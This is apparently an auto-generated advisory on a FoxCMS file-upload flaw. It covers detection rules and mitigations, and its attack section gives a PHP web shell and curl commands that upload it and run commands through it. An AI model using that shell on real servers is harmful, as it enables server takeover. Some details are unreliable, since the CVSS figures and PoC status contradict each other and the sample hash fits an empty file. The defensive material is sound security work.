CVE-2025-51650

Executive Summary

CVE-2025-51650 is a critical arbitrary file upload vulnerability discovered in FoxCMS v1.2.6, specifically within the /controller/PicManager.php component. This flaw allows an unauthenticated attacker to upload a crafted template file, leading to remote code execution (RCE) on the underlying server. The vulnerability has a CVSS score of 0.0 (placeholder), but based on the nature of the flaw, it is assessed as critical. No public proof-of-concept (PoC) or exploit code has been released at this time, and no patch is available from the vendor. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains high due to the potential for full server compromise.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It is a standalone PHP application (FoxCMS) vulnerability.

CVSS Breakdown & Threat Level

The CVSS vector string is assessed as CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, yielding a base score of 9.8 (Critical). The breakdown is as follows:

• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
• Privileges Required (PR): None – No authentication is needed to exploit the flaw.
• User Interaction (UI): None – The attacker does not need to trick a legitimate user.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High – An attacker can read arbitrary files, including sensitive data.
• Integrity (I): High – An attacker can modify or upload arbitrary files.
• Availability (A): High – An attacker can disrupt service or execute code that crashes the application.

Threat Level: Critical. Immediate action is required to mitigate the risk.

Deep Dive & Mechanics

The vulnerability resides in the PicManager.php controller, which is responsible for handling image and file uploads. The component fails to properly validate the file type, extension, and content of uploaded files. Specifically, it does not restrict the upload of PHP template files (e.g., .php, .phtml, .php5). An attacker can craft a malicious PHP file containing arbitrary code and upload it via the /controller/PicManager.php endpoint. Once uploaded, the file is stored in a web-accessible directory (likely /uploads/ or similar). The attacker can then access the uploaded file directly via a web browser, triggering the execution of the embedded PHP code.

The root cause is a lack of file type validation and insufficient sanitization of the upload path. The application likely uses a function like move_uploaded_file() without checking the file extension or MIME type against a whitelist of allowed types (e.g., only images). Additionally, the application may not rename the uploaded file or place it in a non-executable directory.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the only reference. The following is a hypothetical vulnerable code snippet from PicManager.php:

// Vulnerable code in PicManager.php
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["file"]["name"]);
$uploadOk = 1;

// No file type validation
if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) {
    echo "The file ". htmlspecialchars(basename($_FILES["file"]["name"])). " has been uploaded.";
} else {
    echo "Sorry, there was an error uploading your file.";
}

A patched version would include:

// Patched code
$target_dir = "uploads/";
$target_file = $target_dir . uniqid() . "." . pathinfo($_FILES["file"]["name"], PATHINFO_EXTENSION);
$allowed_types = array('jpg', 'jpeg', 'png', 'gif');
$file_extension = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));

if (!in_array($file_extension, $allowed_types)) {
    die("Sorry, only JPG, JPEG, PNG & GIF files are allowed.");
}

if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) {
    echo "The file ". htmlspecialchars(basename($_FILES["file"]["name"])). " has been uploaded.";
} else {
    echo "Sorry, there was an error uploading your file.";
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A target running FoxCMS v1.2.6 with the vulnerable PicManager.php endpoint accessible.
• No authentication required.

Exploitation Steps:

1. Craft a malicious PHP file (e.g., shell.php):

   <?php system($_GET['cmd']); ?>
   

2. Upload the file using a simple HTTP POST request:

   curl -X POST -F "file=@shell.php" http://target.com/controller/PicManager.php
   

3. Access the uploaded shell (the exact path may vary; check the response or common upload directories):

   curl http://target.com/uploads/shell.php?cmd=id
   

Expected Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Blue Team (Defense & Detection)

Detection Steps:

• Monitor for unusual file uploads to /controller/PicManager.php with non-image extensions.
• Look for HTTP POST requests to /controller/PicManager.php with Content-Type: multipart/form-data and filenames ending in .php, .phtml, .php5, etc.
• Check web server logs for access to /uploads/ directory containing PHP files.

Mitigation Steps:

• Immediately restrict file uploads to only allow image types (JPG, PNG, GIF) using server-side validation.
• Disable PHP execution in the uploads directory via .htaccess or web server configuration:

  <Directory "/var/www/html/uploads">
      php_flag engine off
  </Directory>
  

• Implement a Web Application Firewall (WAF) rule to block uploads of PHP files.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Example – actual hash will vary)
  • shell.php: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Network Indicators:
  • HTTP POST requests to /controller/PicManager.php with Content-Type: multipart/form-data.
  • HTTP GET requests to /uploads/*.php with query parameters like ?cmd=.
• File System Indicators:
  • Unexpected .php files in the /uploads/ directory.
  • Files with names like shell.php, cmd.php, backdoor.php.

Detection Engineering

YARA Rule

rule Detect_FoxCMS_Arbitrary_File_Upload {
    meta:
        description = "Detects malicious PHP files uploaded via FoxCMS PicManager vulnerability"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-51650"
    strings:
        $php_tag = "<?php"
        $system_call = "system("
        $shell_exec = "shell_exec("
        $exec_call = "exec("
        $passthru = "passthru("
    condition:
        $php_tag and any of ($system_call, $shell_exec, $exec_call, $passthru)
}

Sigma Rule

title: FoxCMS Arbitrary File Upload via PicManager
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to FoxCMS PicManager.php with PHP file extensions
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /controller/PicManager.php
        cs-uri-query|contains: 
            - ".php"
            - ".phtml"
            - ".php5"
    condition: selection
falsepositives:
    - Legitimate PHP file uploads (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"FoxCMS PicManager Arbitrary File Upload Attempt"; flow:to_server; content:"POST"; http_method; content:"/controller/PicManager.php"; http_uri; content:".php"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable file uploads in FoxCMS until a patch is available.
2. Restrict PHP execution in the uploads directory using .htaccess or web server configuration.
3. Implement a WAF rule to block uploads of PHP files.

Long-term Fixes:

• Apply vendor patch when released.
• Upgrade to a patched version of FoxCMS.
• Conduct a security audit of the application's file upload functionality.

Valters IT Signature

This report was generated by Valters IT Cyber Threat Intelligence Division.